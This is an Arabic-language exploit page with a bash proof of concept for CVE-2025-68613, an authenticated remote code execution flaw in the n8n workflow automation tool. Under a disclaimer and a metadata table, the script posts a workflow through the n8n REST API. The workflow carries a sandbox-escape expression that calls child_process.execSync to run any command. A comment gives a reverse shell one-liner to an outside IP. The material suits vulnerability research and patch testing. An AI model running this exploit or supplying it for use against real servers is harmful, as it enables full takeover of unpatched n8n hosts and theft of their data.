
إثبات مفهوم لاستغلال ثغرة CVE-2025-68613: تنفيذ التعليمات البرمجية عن بُعد بعد المصادقة في n8n عبر حقن التعبيرات
تنفيذ رمز عن بُعد حرج (CVSS 9.9) في أداة أتمتة سير العمل n8n
إثبات المفهوم – لأغراض البحث الأمني التعليمي والمصرّح به فقط
يُوفَّر هذا الرمز لغرض تعليمي صِرف ولإجراء اختبارات أمنية مصرّح بها في بيئات معملية خاضعة للتحكم فقط.
الاستخدام غير المصرّح به على الأنظمة الإنتاجية أو على أي نظام دون إذن كتابي صريح يُعدّ غير قانوني ويخالف قوانين إساءة استخدام الحاسوب والأمن السيبراني في معظم الدول.
استخدمه على مسؤوليتك الخاصة. المؤلف غير مسؤول عن أي إساءة استخدام.
| الحقل | التفاصيل |
|---|
| عنوان الاستغلال | تنفيذ رمز عن بُعد عبر حقن التعبيرات الموثّق في n8n |
| CVE | CVE-2025-68613 |
| تاريخ الإفصاح | 2025-12-25 |
| المؤلف | Mohammed Idrees Banyamer |
| بلد المؤلف | الأردن |
| التواصل / التواصل الاجتماعي | Instagram: @banyamer_security |
| GitHub | mbanyamer |
| البائع | n8n.io |
| مستودع البرنامج | github.com/n8n-io/n8n |
| الإصدارات المعرّضة | ≥ 0.211.0 < 1.120.4 |
| الإصدارات المصحّحة | 1.120.4, 1.121.1, 1.122.0 والإصدارات الأحدث |
| تم الاختبار على | n8n 1.119.3 (Docker) |
| نوع الثغرة | تنفيذ رمز عن بُعد موثّق عبر الهروب من بيئة التعبيرات (Expression Sandbox) |
| درجة CVSS | 9.9 (حرجة) |
تسمح هذه الثغرة لمستخدم موثّق بإنشاء أو تعديل سير عمل باستخدام تعبيرات خبيثة تتجاوز بيئة التعبيرات المعزولة في n8n، مما يؤدي إلى تنفيذ أوامر كاملة على نظام التشغيل بصلاحيات عملية n8n.
#!/bin/bash
# Exploit Title: n8n Authenticated Expression Injection RCE
# Date: 2025-12-25
# Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://n8n.io
# Software Link: https://github.com/n8n-io/n8n
# Version: >=0.211.0 <1.120.4
# Tested on: n8n 1.119.3 (Docker)
# CVE : CVE-2025-68613
TARGET="http://localhost:5678" # ← غيّر إلى هدفك
API_KEY="your_n8n_api_key_here" # ← أدخل مفتاح API صالحًا (أو استخدم Basic Auth / الجلسة)
CMD="id" # ← أمر الاختبار
# مثال لشل عكسي: "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
PAYLOAD="{{ (function(){ return this.process.mainModule.require('child_process').execSync('${CMD}').toString() })() }}"
echo "[*] Sending malicious workflow to ${TARGET}"
curl -s -X POST "${TARGET}/rest/workflows" \
-H "Content-Type: application/json" \
-H "X-N8N-API-KEY: ${API_KEY}" \
-d '{
"name": "CVE-2025-68613 PoC",
"active": false,
"nodes": [
{
"parameters": {
"values": {
"string": [
{
"name": "result",
"value": "'${PAYLOAD}'"
}
]
}
},
"name": "Exploit",
"type": "n8n-nodes-base.set",
"typeVersion": 1,
"position": [460, 300]
}
],
"connections": {}
}'
echo -e "\n[!] Check n8n logs or the output node in the created workflow for command result\n"